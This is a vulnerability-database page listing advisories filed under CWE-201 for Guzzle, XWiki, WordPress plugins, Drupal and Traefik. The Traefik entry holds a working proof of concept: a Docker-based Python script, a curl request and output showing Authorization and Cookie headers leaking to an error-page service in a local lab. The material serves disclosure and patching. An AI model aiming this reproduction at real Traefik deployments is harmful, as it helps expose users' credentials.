Common Weakness Enumeration
CWE-201
AllowedInsertion of Sensitive Information Into Sent Data
Abstraction: Base · Status: Draft
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
750 vulnerabilities reference this CWE, most recent first.
GHSA-MQQ9-GXG5-M58G
Vulnerability from github – Published: 2026-08-01 15:30 – Updated: 2026-08-04 12:53
VLAI
Summary
Duplicate Advisory: Guzzle: URI fragments disclosed in redirect Referer headers
Details
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-h95v-h523-3mw8. This link is maintained to preserve external references.
Original Description
guzzlehttp/guzzle versions before 7.15.1 contain an information disclosure vulnerability in RedirectMiddleware. When the optional allow_redirects.referer setting is enabled, the middleware copies the URI fragment (the portion after '#') from the referring request into the generated Referer header when following a same-scheme redirect (e.g., HTTPS to HTTPS). An attacker who controls the redirect destination can read this fragment from the incoming Referer header, potentially disclosing one-time login secrets, access tokens, state values, or other sensitive client data to a server never meant to receive it. The referer setting is disabled by default. Fixed in 7.15.1, which strips the fragment before generating the Referer value.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 7.15.1"
},
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T12:53:33Z",
"nvd_published_at": "2026-08-01T13:17:06Z",
"severity": "HIGH"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-h95v-h523-3mw8. This link is maintained to preserve external references.\n\n## Original Description\n\nguzzlehttp/guzzle versions before 7.15.1 contain an information disclosure vulnerability in RedirectMiddleware. When the optional allow_redirects.referer setting is enabled, the middleware copies the URI fragment (the portion after \u0027#\u0027) from the referring request into the generated Referer header when following a same-scheme redirect (e.g., HTTPS to HTTPS). An attacker who controls the redirect destination can read this fragment from the incoming Referer header, potentially disclosing one-time login secrets, access tokens, state values, or other sensitive client data to a server never meant to receive it. The referer setting is disabled by default. Fixed in 7.15.1, which strips the fragment before generating the Referer value.",
"id": "GHSA-mqq9-gxg5-m58g",
"modified": "2026-08-04T12:53:33Z",
"published": "2026-08-01T15:30:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-h95v-h523-3mw8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67354"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/guzzlehttp-guzzle-before-uri-fragment-disclosure-via-referer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Guzzle: URI fragments disclosed in redirect Referer headers",
"withdrawn": "2026-08-04T12:53:33Z"
}
GHSA-MVP5-QX9C-C3FV
Vulnerability from github – Published: 2025-06-13 20:42 – Updated: 2025-06-13 20:42
VLAI
Summary
XWiki makes title of inaccessible pages available through the class property values REST API
Details
Impact
The title of every single page whose reference is known can be accessed through the REST API as long as an XClass with a page property is accessible, this is the default for an XWiki installation. This allows an attacker to get titles of pages whose reference is known, one title per request. This doesn't affect fully private wikis as the REST endpoint checks access rights on the XClass definition. The impact on confidentiality depends on the strategy for page names. By default, page names match the title, so the impact should be low but if page names are intentionally obfuscated because the titles are sensitive, the impact could be high.
Patches
This has been fixed in XWiki 16.4.7, 16.10.3 and 17.0.0 by adding access control checks before getting the title of any page.
Workarounds
We're not aware of any workarounds.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-rest-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.9"
},
{
"fixed": "16.4.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-rest-server"
},
"ranges": [
{
"events": [
{
"introduced": "16.5.0-rc-1"
},
{
"fixed": "16.10.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-rest-server"
},
"ranges": [
{
"events": [
{
"introduced": "17.0.0-rc-1"
},
{
"fixed": "17.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-49584"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-13T20:42:12Z",
"nvd_published_at": "2025-06-13T18:15:22Z",
"severity": "HIGH"
},
"details": "### Impact\nThe title of every single page whose reference is known can be accessed through the REST API as long as an XClass with a page property is accessible, this is the default for an XWiki installation. This allows an attacker to get titles of pages whose reference is known, one title per request. This doesn\u0027t affect fully [private wikis](https://www.xwiki.org/xwiki/bin/view/Documentation/AdminGuide/Access%20Rights/#HPrivateWiki) as the REST endpoint checks access rights on the XClass definition. The impact on confidentiality depends on the strategy for page names. By default, page names match the title, so the impact should be low but if page names are intentionally obfuscated because the titles are sensitive, the impact could be high.\n\n### Patches\nThis has been fixed in XWiki 16.4.7, 16.10.3 and 17.0.0 by adding access control checks before getting the title of any page.\n\n### Workarounds\nWe\u0027re not aware of any workarounds.",
"id": "GHSA-mvp5-qx9c-c3fv",
"modified": "2025-06-13T20:42:13Z",
"published": "2025-06-13T20:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-mvp5-qx9c-c3fv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49584"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/ee642f973a7c95d2d146fe03c81bcdee1871f4ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-22736"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki makes title of inaccessible pages available through the class property values REST API"
}
GHSA-MVWC-2XV2-8F69
Vulnerability from github – Published: 2024-12-17 12:31 – Updated: 2026-06-02 09:36
VLAI
Details
Improper Restriction of Excessive Authentication Attempts vulnerability in Digital Operation Services WiFiBurada allows Use of Known Domain Credentials.This issue affects WiFiBurada: before 1.0.5.
Severity
4.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-8429"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-17T12:15:20Z",
"severity": "MODERATE"
},
"details": "Improper Restriction of Excessive Authentication Attempts vulnerability in Digital Operation Services WiFiBurada allows Use of Known Domain Credentials.This issue affects WiFiBurada: before 1.0.5.",
"id": "GHSA-mvwc-2xv2-8f69",
"modified": "2026-06-02T09:36:14Z",
"published": "2024-12-17T12:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8429"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1888"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-24-1888"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MW5J-QG7P-945P
Vulnerability from github – Published: 2025-12-16 09:31 – Updated: 2026-01-20 15:32
VLAI
Details
Insertion of Sensitive Information Into Sent Data vulnerability in Nitesh Ultimate Auction ultimate-auction allows Retrieve Embedded Sensitive Data.This issue affects Ultimate Auction : from n/a through <= 4.3.2.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-66125"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-16T09:15:56Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Nitesh Ultimate Auction ultimate-auction allows Retrieve Embedded Sensitive Data.This issue affects Ultimate Auction : from n/a through \u003c= 4.3.2.",
"id": "GHSA-mw5j-qg7p-945p",
"modified": "2026-01-20T15:32:14Z",
"published": "2025-12-16T09:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66125"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-auction/vulnerability/wordpress-ultimate-auction-plugin-4-3-2-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/ultimate-auction/vulnerability/wordpress-ultimate-auction-plugin-4-3-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MXRC-JW32-G6PM
Vulnerability from github – Published: 2025-08-12 09:30 – Updated: 2026-04-01 18:35
VLAI
Details
Insertion of Sensitive Information Into Sent Data vulnerability in Liquid Web GiveWP allows Retrieve Embedded Sensitive Data.This issue affects GiveWP: from n/a before 4.6.1.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-47444"
],
"database_specific": {
"cwe_ids": [
"CWE-201",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-12T07:15:28Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Liquid Web GiveWP allows Retrieve Embedded Sensitive Data.This issue affects GiveWP: from n/a before 4.6.1.",
"id": "GHSA-mxrc-jw32-g6pm",
"modified": "2026-04-01T18:35:48Z",
"published": "2025-08-12T09:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47444"
},
{
"type": "WEB",
"url": "https://github.com/impress-org/givewp/issues/8042"
},
{
"type": "WEB",
"url": "https://github.com/impress-org/givewp/issues/8042?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/ajax-search-for-woocommerce/vulnerability/wordpress-fibosearch-plugin-1-32-1-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/give/vulnerability/wordpress-givewp-plugin-4-6-1-pii-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P27G-6XM5-RQRF
Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-31 00:30
VLAI
Details
Insertion of Sensitive Information Into Sent Data vulnerability in Drupal Advanced Varnish allows Forceful Browsing.This issue affects Advanced Varnish: from 0.0.0 before 4.0.11.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-13269"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T20:15:35Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Drupal Advanced Varnish allows Forceful Browsing.This issue affects Advanced Varnish: from 0.0.0 before 4.0.11.",
"id": "GHSA-p27g-6xm5-rqrf",
"modified": "2025-01-31T00:30:44Z",
"published": "2025-01-09T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13269"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2024-033"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P395-QFMW-392P
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30
VLAI
Details
Unauthenticated Sensitive Data Exposure in ABC Crypto Checkout <= 1.8.2 versions.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2026-52695"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T21:17:24Z",
"severity": "HIGH"
},
"details": "Unauthenticated Sensitive Data Exposure in ABC Crypto Checkout \u003c= 1.8.2 versions.",
"id": "GHSA-p395-qfmw-392p",
"modified": "2026-06-15T21:30:50Z",
"published": "2026-06-15T21:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52695"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/payerurl-crypto-currency-payment-gateway-for-woocommerce/vulnerability/wordpress-abc-crypto-checkout-plugin-1-8-2-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P4C7-587M-VG5X
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details
Insertion of sensitive information into sent data vulnerability in MarketingFire Widget Options allows Retrieve Embedded Sensitive Data.
This issue affects Widget Options: from n/a through 4.0.1.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-35690"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:19:12Z",
"severity": "MODERATE"
},
"details": "Insertion of sensitive information into sent data vulnerability in MarketingFire Widget Options allows Retrieve Embedded Sensitive Data.\n\nThis issue affects Widget Options: from n/a through 4.0.1.",
"id": "GHSA-p4c7-587m-vg5x",
"modified": "2026-06-17T18:35:42Z",
"published": "2026-06-17T18:35:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35690"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/widget-options/vulnerability/wordpress-widget-options-plugin-4-0-1-subscriber-user-meta-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P564-C3M6-66W8
Vulnerability from github – Published: 2025-12-31 18:30 – Updated: 2026-04-01 18:36
VLAI
Details
Insertion of Sensitive Information Into Sent Data vulnerability in Razvan Stanga Varnish/Nginx Proxy Caching allows Retrieve Embedded Sensitive Data.This issue affects Varnish/Nginx Proxy Caching: from n/a through 1.8.3.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-62126"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T16:15:45Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Razvan Stanga Varnish/Nginx Proxy Caching allows Retrieve Embedded Sensitive Data.This issue affects Varnish/Nginx Proxy Caching: from n/a through 1.8.3.",
"id": "GHSA-p564-c3m6-66w8",
"modified": "2026-04-01T18:36:28Z",
"published": "2025-12-31T18:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62126"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/vcaching/vulnerability/wordpress-varnish-nginx-proxy-caching-plugin-1-8-3-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/plugin/vcaching/vulnerability/wordpress-varnish-nginx-proxy-caching-plugin-1-8-3-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P6HG-QH38-555R
Vulnerability from github – Published: 2026-05-04 19:26 – Updated: 2026-05-15 23:48
VLAI
Summary
Traefik's errors middleware forwards Authorization and Cookie headers to separate error page service
Details
Summary
There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.44
- https://github.com/traefik/traefik/releases/tag/v3.6.15
- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3
For more information
If there are any questions or comments about this advisory, please open an issue.
Original Description ## Description Traefik v3.6.13's supported HTTP `errors` middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router `audit-customerrors@docker` pointed to backend service `audit-backend`, attached middleware `audit-leak@docker`, and the middleware was configured with `errors.status=500-599`, `errors.service=audit-error`, and `errors.query=/collect`. A request to the business route caused the backend to return `500`, after which Traefik created a secondary request to the error service and copied the original `Authorization` and `Cookie` headers into that cross-service request. This is a normal feature path on an ordinary HTTP route. It does not depend on `api.insecure`, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service. The root cause is in `pkg/middlewares/customerrors/custom_errors.go:151-160`:if len(c.forwardNginxHeaders) > 0 {
utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders)
pageReq.Header.Set("X-Code", strconv.Itoa(code))
pageReq.Header.Set("X-Format", req.Header.Get("Accept"))
pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI())
} else {
utils.CopyHeaders(pageReq.Header, req.Header)
}
traefik.http.routers.audit-customerrors.rule=PathPrefix(`/audit-customerrors`)
traefik.http.routers.audit-customerrors.entrypoints=web
traefik.http.routers.audit-customerrors.priority=100
traefik.http.routers.audit-customerrors.service=audit-backend
traefik.http.routers.audit-customerrors.middlewares=audit-leak
traefik.http.services.audit-backend.loadbalancer.server.port=8000
traefik.http.middlewares.audit-leak.errors.status=500-599
traefik.http.middlewares.audit-leak.errors.service=audit-error
traefik.http.middlewares.audit-leak.errors.query=/collect
curl -i \
-H 'Authorization: Bearer audit-secret-token' \
-H 'Cookie: sessionid=audit-cookie; theme=dark' \
http://127.0.0.1:28080/audit-customerrors
import json
import os
import subprocess
import sys
import time
import urllib.error
import urllib.request
from pathlib import Path
TARGET = "traefik customErrors sensitive header leak"
BASE_URL = "http://127.0.0.1:28080"
API_BASE_URL = "http://127.0.0.1:28180"
TRAEFIK_CONTAINER = "traefik-openclaw"
NETWORK = ""
DOCKER_IMAGE = "python:3.12-alpine"
BACKEND_CONTAINER = "traefik-audit-backend"
ERROR_CONTAINER = "traefik-audit-error"
ROUTER_NAME = "audit-customerrors"
ROUTER_PATH = "/audit-customerrors"
AUTHORIZATION = "Bearer audit-secret-token"
COOKIE = "sessionid=audit-cookie; theme=dark"
TIMEOUT_SECONDS = 10
ROUTER_WAIT_SECONDS = 20
EVIDENCE_DIR = Path(__file__).resolve().parent
BACKEND_SCRIPT = EVIDENCE_DIR / "customerrors_backend.py"
ERROR_SCRIPT = EVIDENCE_DIR / "customerrors_error.py"
def run_command(command):
print(f"$ {' '.join(command)}")
completed = subprocess.run(command, capture_output=True, text=True, check=True)
stdout = completed.stdout.strip()
stderr = completed.stderr.strip()
if stdout:
print(stdout)
if stderr:
print(stderr)
return stdout
def remove_container(name):
subprocess.run(["docker", "rm", "-f", name], capture_output=True, text=True)
def detect_network():
if NETWORK:
return NETWORK
output = run_command(
["docker", "inspect", TRAEFIK_CONTAINER, "--format", "{{json .NetworkSettings.Networks}}"]
)
networks = json.loads(output)
network_names = sorted(networks.keys())
if not network_names:
raise RuntimeError("No docker network found for Traefik container")
return network_names[0]
def ensure_image():
run_command(["docker", "pull", DOCKER_IMAGE])
def start_error_container(network_name):
run_command(
[
"docker", "run", "-d", "--name", ERROR_CONTAINER,
"--network", network_name,
"-v", f"{ERROR_SCRIPT}:/srv/error.py:ro",
"-l", "traefik.enable=true",
"-l", f"traefik.docker.network={network_name}",
"-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000",
DOCKER_IMAGE, "python", "/srv/error.py",
]
)
def start_backend_container(network_name):
run_command(
[
"docker", "run", "-d", "--name", BACKEND_CONTAINER,
"--network", network_name,
"-v", f"{BACKEND_SCRIPT}:/srv/backend.py:ro",
"-l", "traefik.enable=true",
"-l", f"traefik.docker.network={network_name}",
"-l", f"traefik.http.routers.{ROUTER_NAME}.rule=PathPrefix(`{ROUTER_PATH}`)",
"-l", f"traefik.http.routers.{ROUTER_NAME}.entrypoints=web",
"-l", f"traefik.http.routers.{ROUTER_NAME}.priority=100",
"-l", f"traefik.http.routers.{ROUTER_NAME}.service=audit-backend",
"-l", f"traefik.http.routers.{ROUTER_NAME}.middlewares=audit-leak",
"-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000",
"-l", "traefik.http.middlewares.audit-leak.errors.status=500-599",
"-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error",
"-l", "traefik.http.middlewares.audit-leak.errors.query=/collect",
DOCKER_IMAGE, "python", "/srv/backend.py",
]
)
def fetch_json(url, headers=None):
request = urllib.request.Request(url, headers=headers or {}, method="GET")
try:
response = urllib.request.urlopen(request, timeout=TIMEOUT_SECONDS)
except urllib.error.HTTPError as exc:
response = exc
with response:
return json.loads(response.read().decode())
def wait_for_router():
deadline = time.time() + ROUTER_WAIT_SECONDS
while time.time() < deadline:
try:
data = fetch_json(f"{API_BASE_URL}/api/rawdata")
if f"{ROUTER_NAME}@docker" in data.get("routers", {}):
return data
except Exception:
pass
time.sleep(1)
raise RuntimeError("Timed out waiting for router")
def trigger_request():
headers = {
"Authorization": AUTHORIZATION,
"Cookie": COOKIE,
}
return fetch_json(f"{BASE_URL}{ROUTER_PATH}", headers=headers)
def validate(response_json):
leaked_headers = response_json.get("headers", {})
leaked_auth = leaked_headers.get("Authorization")
leaked_cookie = leaked_headers.get("Cookie")
print("Response JSON:")
print(json.dumps(response_json, indent=2, sort_keys=True))
if leaked_auth != AUTHORIZATION:
raise RuntimeError(f"Authorization not leaked as expected, got: {leaked_auth!r}")
if leaked_cookie != COOKIE:
raise RuntimeError(f"Cookie not leaked as expected, got: {leaked_cookie!r}")
print("Validation result: error page service received the original Authorization and Cookie.")
def main():
print(f"TARGET={TARGET}")
network_name = detect_network()
print(f"Using docker network: {network_name}")
remove_container(BACKEND_CONTAINER)
remove_container(ERROR_CONTAINER)
try:
ensure_image()
start_error_container(network_name)
start_backend_container(network_name)
wait_for_router()
response_json = trigger_request()
validate(response_json)
finally:
remove_container(BACKEND_CONTAINER)
remove_container(ERROR_CONTAINER)
print("Cleaned up temporary containers.")
if __name__ == "__main__":
try:
main()
except subprocess.CalledProcessError as exc:
if exc.stdout:
print(exc.stdout)
if exc.stderr:
print(exc.stderr, file=sys.stderr)
raise
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(500)
self.send_header("Content-Type", "text/plain; charset=utf-8")
self.end_headers()
self.wfile.write(b"backend forced 500\n")
def log_message(self, format, *args):
return
def main():
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
if __name__ == "__main__":
main()
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = json.dumps(
{
"method": self.command,
"path": self.path,
"headers": {key: value for key, value in self.headers.items()},
},
indent=2,
sort_keys=True,
).encode()
self.send_response(200)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, format, *args):
return
def main():
HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
if __name__ == "__main__":
main()
{
"errors": {
"status": [
"500-599"
],
"service": "audit-error",
"query": "/collect"
},
"status": "enabled",
"usedBy": [
"audit-customerrors@docker"
],
"name": "audit-leak@docker",
"provider": "docker",
"type": "errors"
}
{
"entryPoints": [
"web"
],
"middlewares": [
"audit-leak@docker"
],
"service": "audit-backend",
"rule": "PathPrefix(`/audit-customerrors`)",
"priority": 100,
"observability": {
"accessLogs": true,
"metrics": true,
"tracing": true,
"traceVerbosity": "minimal"
},
"status": "enabled",
"using": [
"web"
],
"name": "audit-customerrors@docker",
"provider": "docker",
"priorityStr": "100"
}
HTTP/1.1 500 Internal Server Error
Content-Length: 461
Content-Type: application/json; charset=utf-8
Date: Mon, 13 Apr 2026 13:09:58 GMT
Server: BaseHTTP/0.6 Python/3.12.13
{
"headers": {
"Accept": "*/*",
"Accept-Encoding": "gzip",
"Authorization": "Bearer audit-secret-token",
"Cookie": "sessionid=audit-cookie; theme=dark",
"Host": "127.0.0.1:28080",
"User-Agent": "curl/8.7.1",
"X-Forwarded-Host": "127.0.0.1:28080",
"X-Forwarded-Port": "28080",
"X-Forwarded-Proto": "http",
"X-Forwarded-Server": "c231be677a1b",
"X-Real-Ip": "172.19.0.1"
},
"method": "GET",
"path": "/collect"
}
Response JSON:
{
"headers": {
"Accept-Encoding": "identity",
"Authorization": "Bearer audit-secret-token",
"Cookie": "sessionid=audit-cookie; theme=dark",
"Host": "127.0.0.1:28080",
"User-Agent": "Python-urllib/3.14",
"X-Forwarded-Host": "127.0.0.1:28080",
"X-Forwarded-Port": "28080",
"X-Forwarded-Proto": "http",
"X-Forwarded-Server": "c231be677a1b",
"X-Real-Ip": "172.19.0.1"
},
"method": "GET",
"path": "/collect"
}
Validation result: error page service received the original Authorization and Cookie.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.43"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.44"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.14"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.0-rc.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-rc.0"
},
{
"fixed": "3.7.0-rc.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41181"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T19:26:33Z",
"nvd_published_at": "2026-05-15T17:16:46Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThere is a medium severity information disclosure vulnerability in Traefik\u0027s `errors` (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request\u0027s complete header set, including `Authorization`, `Cookie`, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that `Host` is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the `errors` middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.44\n- https://github.com/traefik/traefik/releases/tag/v3.6.15\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n## Description\nTraefik v3.6.13\u0027s supported HTTP `errors` middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router `audit-customerrors@docker` pointed to backend service `audit-backend`, attached middleware `audit-leak@docker`, and the middleware was configured with `errors.status=500-599`, `errors.service=audit-error`, and `errors.query=/collect`. A request to the business route caused the backend to return `500`, after which Traefik created a secondary request to the error service and copied the original `Authorization` and `Cookie` headers into that cross-service request.\n\nThis is a normal feature path on an ordinary HTTP route. It does not depend on `api.insecure`, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.\n\nThe root cause is in 